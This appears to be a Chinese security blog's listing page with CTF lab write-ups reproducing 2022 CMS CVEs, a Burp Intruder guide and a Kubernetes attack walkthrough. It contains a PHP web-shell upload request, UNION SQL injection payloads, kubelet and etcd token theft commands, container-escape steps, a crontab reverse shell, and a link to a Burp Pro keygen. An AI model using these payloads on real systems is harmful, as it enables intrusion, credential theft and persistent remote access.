首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,438 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
892 阅读
4
k8s安装及部分漏洞复现
850 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
27
篇与
web
的结果
2022-10-12
春秋云镜免费靶场记录10.12
CVE-2022-23366(Hospital Management Startup 1.0 sqli)参考链接:https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-23366注入点在登陆口,直接跑sqlmapCVE-2022-23316(taoCMS v3.0.2 存在任意文件读取漏洞)参考链接:https://github.com/taogogo/taocms/issues/15admin/tao弱口令登陆后,在编辑处,path参数未做参数校验,因此可以跨目录读取,直接../../../../flag读取flagCVE-2022-23134(Zabbix setup 访问控制登录绕过)没做出来。。。CVE-2022-23043(Zenario CMS 9.2 文件上传漏洞)参考链接:https://fluidattacks.com/advisories/simone//admin.php口使用admin/adminqwe12登陆,进去发现无法安装,环境有问题,下一题CVE-2022-22965(Spring Framework JDK >= 9 远程代码执行漏洞)参考链接:https://packetstormsecurity.com/files/download/166713/CVE-2022-22965-main.zip使用工具,写入shell获取flagCVE-2022-22963(Spring Cloud Function functionRouter SPEL代码执行漏洞)很怪,能打dnslog,但是外带、反弹shell都失败了,只能做到这了
2022年10月12日
495 阅读
0 评论
0 点赞
2022-10-11
春秋云镜免费靶场记录10.11
CVE-2022-25578(taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码)参考链接:https://github.com/taogogo/taocms/issues/28访问加/admin,在F12中看到admin/tao弱口令,登陆在文件管理中看到.htaccess文件,直接编辑修改,但是感觉环境有问题,改了就连不上了,本着拿flag的原则,直接改index.php写个马就行了蚁剑连接CVE-2022-25488(Atom CMS v2.0 sql注入漏洞)参考链接:https://github.com/thedigicraft/Atom.CMS/issues/257没啥思路,不知道参数,搜下cve,发现还是id,是常规的数字型注入,源码如下:view-source:http://eci-2zebeyjwvgoqkmovtx00.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=-1%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+跑了一通,依然没有数据,血压拉满了属于是,我就当做ctf题一样,去扫了下目录,发现了uploads的目录遍历和/admin/uploads.php的文件上传接口虽然访问php报错而且这里也是一个注入点,然后我构造一个文件上传的html来传马,传上去之后发现目录下多出来了一个php文件蚁剑连接获取flagCVE-2022-25411(Maxsite CMS文件上传漏洞)参考链接:https://github.com/maxsite/cms/issues/487爆破密码admin/admin888登陆添加白名单本来想按照他的方式做,删掉.htaccess,但是那样网站就挂了,所以,直接找了个地方传马上传成功,蚁剑连CVE-2022-25401(Cuppa CMS v1.0 任意文件读)参考链接:https://github.com/CuppaCMS/CuppaCMS/issues/32payload直接打CVE-2022-25099(WBCE CMS v1.5.2 RCE)参考链接:①https://github.com/WBCE/WBCE_CMS/issues/446②https://github.com/WBCE/WBCE_CMS/issues/447弱口令admin/123456登陆,找到Add-ons->languages,选择install可以成功传入php文件,并且会解析php文件,返回内容,所以直接输出flag即可或者可以直接修改设置,允许php文件上传,在settings->server settings中可以进行设置上传成功,蚁剑连CVE-2022-24263(Hospital Management System sqli)参考链接:https://github.com/kishan0725/Hospital-Management-System/issues/17注册后发现了绝对路径,可以写shell了这次库里终于有ctf了,感动~,轻松拿flagCVE-2022-24223(AtomCMS SQL注入漏洞)参考链接:https://github.com/thedigicraft/Atom.CMS/issues/255又一个注入,直接sqlmap,但是估计没有flag,跑一下试试,有flag,直接拿CVE-2022-23880(taoCMS v3.0.2 任意文件上传漏洞)参考链接:①https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1②https://github.com/casdoor/casdoor/issues/439根据复现没有成功,所以先修改个index.php写马拿flag,同上
2022年10月11日
813 阅读
0 评论
0 点赞
2022-10-10
春秋云镜免费靶场记录10.10
CVE-2022-23906(CMS Made Simple v2.2.15 RCE)参考链接:http://dev.cmsmadesimple.org/bug/view/12502访问/admin,以admin/123456登陆,在内容->File Manager中找到文件上传点上传文件上传成功后,选中文件点击copy,按下图配置复制文件并命名为xxx.php成功后可以看到多出了刚才的php文件,直接获取flag即可或者蚁剑链接,获取flagCVE-2022-30887(Pharmacy Management System shell upload)参考链接:https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html上传poc:POST /php_action/editProductImage.php?id=1 HTTP/1.1 Host: eci-2zeiqdtozk9gx9az693a.cloudeci1.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type:multipart/form-data;boundary=---------------------------208935235035266125502673738631 Content-Length: 566 Connection: close Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1662902354,1664078966,1664530891,1665378480; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=ec8193cd25017f638aa167cee7298e97339ab2de; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1665384728; PHPSESSID=qbsbo3njtcrhucddoaf7cvd8ah Upgrade-Insecure-Requests: 1 -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="old_image" -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: image/jpeg <?php if($_REQUEST['s']) { system($_REQUEST['s']); } else phpinfo(); ?> </pre> </body> </html> -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="btn" -----------------------------208935235035266125502673738631--看到success后,访问/assets/myimages/shell.php?s=cat%20/flag读取flagCVE-2022-29464(WSO2文件上传漏洞)参考链接:https://github.com/hakivvi/CVE-2022-29464访问链接cat/flag即可CVE-2022-28525(ED01-CMS v20180505 存在SQL注入漏洞)搜索编号得知漏洞点在:/admin/users.php?source=edit_user&id=1因此对id进行操作,直接sqlmap梭哈就能注出所有结果,但是没有flag,看到前面的介绍,属实很难绷得住,于是对上传点进行操作发现没任何过滤,直接传一个phpinfo发现解析,然后传一句话直连即可CVE-2022-28512( Fantastic Blog (CMS) SQL注入)参考文章:https://github.com/JiuBanSec/CVE/blob/main/Fantastic%20Blog%20CMS/SQL1.md直接访问single.php,加单引号看到报错探测字段长度,为9探测回显字段,为2和4直接注即可sqlmap也可以成功# 获取库名 id = "%27%20union%20select%201,database(),3,user(),5,6,7,8,9--+-" # 获取表名 id = "%27%20union%20select%201,group_concat(table_name),3,user(),5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema=%27ctf%27--+-" # 获取列名 id = "%27%20union%20select%201,group_concat(column_name),3,user(),5,6,7,8,9%20from%20information_schema.columns%20where%20table_name=%27flag%27--+-" # 获取数据 id = "%27%20union%20select%201,flag,3,user(),5,6,7,8,9%20from%20ctf.flag--+-" CVE-2022-32991(Web Based Quiz System SQL注入)需要注册账号才可以,注册后登陆,在welcome.php中尝试p无果,点击start抓包,对step尝试无果,在eid中尝试发现问题获取数据库长度后面直接布尔盲注就可,上sqlmapCVE-2022-28060(Victor CMS v1.0 存在sql注入)参考链接:https://github.com/JiuBanSec/CVE/blob/main/VictorCMS%20SQL.md登陆尝试万能密码成功登陆,说明有sql注入,对user_name进行测试后续脚本可以跑出所有内容,但是找不到flag,这个没啥别的思路了,下一题CVE-2022-26965(Pluck-CMS-Pluck-4.7.16 后台RCE)参考链接:https://www.youtube.com/watch?v=sN6J_X4mEbY搜索CVE,得知是通过更新主题将压缩包中的webshell写入到服务器并解析的,因此找一个主题,在任意php文件下写入一句话木马,上传后拼接/data/themes/xxx/xxx.php即可访问shell,具体操作如下上传主题位置(主题下载链接:https://github.com/pluck-cms/themes):修改任意主题:打包后上传,然后蚁剑连接:或者浏览器访问获取flag
2022年10月10日
565 阅读
0 评论
0 点赞
2022-08-16
Burp Intruder用法及小技巧
环境burp版本:burpsuite_pro_v2022.8注册机:https://github.com/h3110w0r1d-y/BurpLoaderKeygen常规Sniper最常规的使用方法,对单一参数进行爆破。用法:选定参数直接进行爆破即可选定区间爆破Battering ram多组参数,同一参数同时爆破,爆破次数取决于字典数。用法:选定多组参数、单一字典进行爆破选定区间爆破Pitchfork多组参数,每组参数使用不同字典进行爆破,同时爆破,次数取决于字典数较少的那一个用法:为每一组参数设置一个字典,进行爆破。分别设置字典进行爆破,次数为较少的那个Cluster bomb多组参数,每组参数使用不同字典进行爆破,每组字典单独爆破,次数为m*n,常见于账密爆破。用法:同Pitchfork如图,次数已经变为130(10*13)爆破其他用法自定义爆破内容设置在设置字典时,可以使用外部字典引入,此时Payload type为simple list①如果要爆破路径,或者是api,那么需要在下面的Payload Encoding处取消√,否则等字符会被编码,如果带有必要参数,则自定义设置哪些需要编码即可②有些时候需要对当前爆破字段进行编码,要将爆破的payload进行编码,此时就需要在Payload Processing中进行设置,例如base64编码:设置后进行爆破,就被编码成功了③参数组合后的编码时,需要利用到Payload type中的Custom iterator功能,此时可以在Payload Options中进行设置选择参数处于分组设置第一组参数第二组第三组再从下面的Payload Processing中设置编码方式进行爆破,此时输出即为分组参数字典设置后的编码爆破内容的处理在面对sql时间盲注的时候,响应时间是非常重要的参数,因此如何在使用intruder进行爆破的时候发现盲注,就需要自己进行设置,在爆破后的Columns中可以看到response received和response completed,选择后,就可以看到响应时间设置前设置后文件内容读取在有一些存储桶目录遍历或者拿到一个文件目录的时候,假如有10000+的zip文件,且下载时无后缀,要求提取所有的zip文件,此时可以用burp加简单脚本处理此问题,例如如下环境:此时已知,下载文件后均命名为DownloadFile先用正则将所有的文件key提取出来,然后使用intruder进行爆破,如图:然后进行文件处理,在Save->Server responses中,选择保存,保存下来后,在目录下可以看到全部下载成功,但是携带了响应头然后使用一个脚本进行输出即可:for i in range(1, 1000): x = open(f'{i}.zip', 'wb') with open(f'{i}', 'rb') as f: a = f.read().split(b'\r\n\r\n') x.write(a[1]) x.close()爆破明文保存在save->Save results table中,可以设置将爆破的表格保存保存后如图:爆破格式保存在Save->Attack configuration中,可以将此次的爆破格式保存。验证码爆破使用大佬插件链接:https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247487792&idx=1&sn=6a6dd8c208075ea7854664f0c93fa5ed线程及响应时间第一个是线程,第二个是响应时间,可以根据自己需要进行自定义设置
2022年08月16日
265 阅读
0 评论
0 点赞
2022-05-16
k8s常用命令--用到就更
创建pods:kubectl run {pod名} --image={镜像} --port={端口}获取pod列表:kubectl get pods获取namespace列表:kubectl get namespace获取容器用户:kubectl -n {namespace名} get sa获取用户token:kubectl describe secret {用户名} -n {namespace名}获取namespace及属性:kubectl get svc --all-namespaces修改namespace配置文件:kubectl edit svc {name} -n {namespace}
2022年05月16日
128 阅读
0 评论
0 点赞
2022-05-09
k8s安装及部分漏洞复现
k8s安装环境Ubuntu 20.04 LTS x64工具:metarget安装docker:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun安装metarget:git clone https://github.com/Metarget/metarget.git cd metarget/ pip3 install -r requirements.txt此时可以安装任意版本k8s,我们安装1.16.5版本: ./metarget gadget install k8s --version=1.16.5Kubernetes API Server未授权访问列举下Kubernetes组件的一些服务及默认端口:组件默认端口说明APIServer6443基于HTTPS的安全端口APIServer8080不安全的HTTP端口,不建议启用Kubelet10248用于检查Kubelet健康状态的HTTP端口Kubelet10250面向API Server提供服务的HTTPS端口Dashboard8001提供HTTP服务的端口etcd2379客户端与服务端之间通信的端口etcd2380不同服务端实例之间通信的端口首先是8080端口的位置,默认情况下,6443端口支持认证和授权服务,但8080端口是没有的,不过较新版本的Kubernets中8080默认不启动,cat /etc/kubernetes/manifests/kube-apiserver.yaml即可查看当前配置将其修改为- --insecure-port=8080,并添加- --insecure-bind-address=0.0.0.0,重启服务(systemctl restart kubelet),即可开启8080端口的HTTP服务,如果是在云服务器进行测试的话,建议开放所有端口方便复现iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT iptables -F iptables-save此时访问如图:执行命令 通过kubectl -s命令创建podskubectl run n00bk1ng --image=nginx --port=1112查看podskubectl -s 127.0.0.1:8080 get pods进入容器直接执行命令:获取service-account-token访问/api/v1/namespaces/kube-system/secrets/:获取宿主机权限-通过k8s dashboard,创建特权PodsKubernets Dashboard是基于Web的Kubernets用户界面,可以利用他来在集群中部署、调试容器化应用,或者管理集群资源,也就是获取集群中应用运行状态的概览,创建活修改Kubernets资源。安装Dashboard:wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml下载后进行修改- --enable-skip-login - -- insecure-bind-address=0.0.0.0 kubectl apply -f recommended.yamlwget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml kubectl apply -f insecure-kubernetes-dashboard.yml kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:80 或者 kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80新建account.yaml,写入一个新账号: # Creating a Service Account apiVersion: v1 kind: ServiceAccount metadata: name: admin-user namespace: kubernetes-dashboard --- # Creating a ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: admin-user roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: admin-user namespace: kubernetes-dashboard 然后kubectl apply -f account.yaml,新建成功后,获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"出现不安全的访问,使用kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443,但是我这里一直连接重置,就没再继续下去关于443端口转发问题的解决上述问题出现后,本质问题是需要访问https服务,于是,我重新开始。wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommended.yaml kubectl apply -frecommended.yamlapply之后,可以看到是ClusterIp,于是下一步要进行设置# 创建dashboard-ingress.yaml文件,用来指向一个域名 vim dashboard-ingress.yaml # 文件内容 apiVersion: extensions/v1beta1 kind: Ingress metadata: name: kubernetes-dashboard namespace: kubernetes-dashboard annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/backend-protocol: HTTPS nginx.ingress.kubernetes.io/configuration-snippet: |- proxy_ssl_server_name on; proxy_ssl_name $host; spec: rules: - host:这里写你的域名 http: paths: - path: / backend: serviceName: kubernetes-dashboard servicePort: 443 # apply文件 kubectl apply -f dashboard-ingress.yaml此时可以访问你的host地址发现未成功,因为还没有设置NonePort已经端口转发的地址# 新建一个recommend.yaml文件,用来设置管理员并定义角色端口 vim recommend.yaml # recommend.yaml文件内容 kind: Service apiVersion: v1 metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kubernetes-dashboard spec: type: NodePort #新增的 ports: - port: 443 targetPort: 8443 nodePort: 32000 # 新增的,此端口与NodePort不要写一样 selector: k8s-app: kubernetes-dashboard # apply文件 kubectl apply -f recommend.yaml配置完成后,访问此处新增的32000端口,如图:问题解决获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/kubernetes-dashboard -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"但是这里还是不能获取权限,于是我去搜了下,显示有超级用户才可以,于是去找超级用户(cluster-admin),参考链接:【深入分析】Kubernetes RBAC角色权限控制# 新建admin.yaml apiVersion: v1 kind: ServiceAccount metadata: name: dashboard-admin namespace: kube-system --- kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1beta1 metadata: name: dashboard-admin subjects: - kind: ServiceAccount name: dashboard-admin namespace: kube-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io # apply文件 kubectl apply -f admin.yaml # 查看对应的用户名 kubectl describe sa -n kube-system dashboard-admin # 获取token kubectl describe secret dashboard-admin-token-np46j -n kube-system成功获取token将根目录挂载到/mnt下成功挂载在/mnt目录下看到宿主机目录使用chroot获取权限读文件,执行命令反弹shell6443端口-system:anonymous错误配置将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令,未设置时进行访问:修改配置:kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous拼接访问namespace拼接访问默认namespace的pods:/api/v1/namespaces/default/pods获取token:/api/v1/namespaces/kube-system/secrets/k8s kubelet 10250端口未授权访问端口提示404,访问pods路径提示未授权401修改配置,在/var/lib/kubelet/config.yaml中修改:重启systemctl restart kubelet执行命令curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"需要namespace、pod、container三个参数,在https://ip:10250/runningpods/中可以找到但是我在刚才的pods中同样可以看到个人猜测是runningpods的都是正在运行的,而pods里不一定是此时执行命令:获取凭证curl -XPOST -k https://{ip}}:10250/run/default/n00bk1ng-567cb46757-lcnds/n00bk1ng -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"原理:一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token。如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作可以直接访问dashboardetcd未授权未指定--client-cert-auth参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害修改配置文件:/etc/kubernetes/manifests/etcd.yaml正常访问:此时就需要利用证书进行访问,然后就是证书泄露证书泄露安装etcd-client:apt install etcd-clientexport ETCDCTL_API=3 export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key查看证书:etcdctl --endpoints=https://127.0.0.1:2379/ get / --prefix --keys-only获取token路径:etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole然后获取token:etcdctl --endpoints=https://127.0.0.1:2379/ get {证书路径}然后带着token获取集群权限:kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods挂载docker.sock大佬说的:/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)安装docker首先创建一个docker容器:docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04再在容器中安装docker:# ubuntu 18.04安装 dockersudo apt-get update # 安装依赖包 sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common # 添加 Docker 的官方 GPG 密钥 curl -fsSL https:# download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 验证您现在是否拥有带有指纹的密钥 sudo apt-key fingerprint 0EBFCD88 # 设置稳定版仓库 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" # 更新 sudo apt-get update # 安装最新的Docker-ce sudo apt-get install docker-ce # 启动 sudo systemctl enable docker sudo systemctl start docker这时已经可以从容器docker ps中看到宿主机的容器了容器逃逸将宿主机的根目录挂载到容器中docker run -it -v /:/root ubuntu:18.04 /bin/bash chroot root拿下!反弹shell通过修改crontab定时任务来反弹shellcrontab -e * * * * * /bin/bash -i >& /dev/tcp/ip/123 0>&1 但是,没弹成功,于是就去找原因,后来发现Ubuntu需要满足其他条件,比如/var/spool/cron/crontabs/root的权限一定得是600,也就是rw-------,其次是反弹shell的命令需要修改一下,改为*/1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1",这里和/bin/bash找不到有关,不过我用/bin/sh也没有成功,还是得用bash,最后payload:crontab -e */1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1"解决文章放在参考链接中了。总结第一次搞k8s,跟着大佬的文章做了多天的复现,最后虽然还是有一些遗留问题,但是后面一定回回头解决,学到了很多k8s的知识,熟悉了kubectl的命令,了解了k8s配置文件中一些重要的配置,还第一次尝试了容器逃逸...很遗憾没接触到dashboard,不过后面一定回来补充,感谢年少有为师傅的文章,受益匪浅。参考链接: 浅析K8S各种未授权攻击方法 解决ubuntu crontab反弹shell失败的问题 云原生安全:攻防实践与体系构建 k8s-Service k8s安装步骤(1.22.0版本)k8s 安装dashboard(k8s教程-2)安装kubernetes-dashboard【深入分析】Kubernetes RBAC角色权限控制etcd v3使用方法
2022年05月09日
850 阅读
0 评论
2 点赞
1
2
...
5